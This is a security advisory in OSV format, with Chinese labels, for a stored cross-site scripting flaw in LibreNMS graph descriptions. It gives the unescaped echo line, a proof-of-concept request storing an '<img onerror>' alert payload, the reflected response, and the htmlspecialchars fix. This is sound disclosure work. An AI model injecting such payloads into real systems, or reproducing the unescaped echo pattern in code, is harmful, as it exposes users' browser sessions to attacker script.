OSV 1.4.0 · github-reviewed · 修改于 2026-08-19 05:17
发布时间
2026-08-19 05:17
GitHub 审查时间
2026-08-19 05:17
NVD 发布时间
—
源文件
advisories/github-reviewed/2026/08/GHSA-7cj5-v4pp-v632/GHSA-7cj5-v4pp-v632.json
The graph_descr.<graphtype> family of settings is echoed verbatim without htmlspecialchars() in includes/html/pages/graphs.inc.php:194. Any admin can store a malicious HTML payload that executes in every authenticated user's browser viewing that graph type.
CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:N — 4.8 Medium
// graphs.inc.php:194
echo LibrenmsConfig::get('graph_descr.' . $vars['type']);
PUT /settings/graph_descr.device_processor
{"value": "<img src=x onerror=\"alert('ADV-15')\">"}
GET /graphs?type=device_processor
→ <img src=x onerror="alert('ADV-15')">
echo htmlspecialchars(LibrenmsConfig::get('graph_descr.' . $vars['type']), ENT_QUOTES, 'UTF-8');
Admin session to set the config value.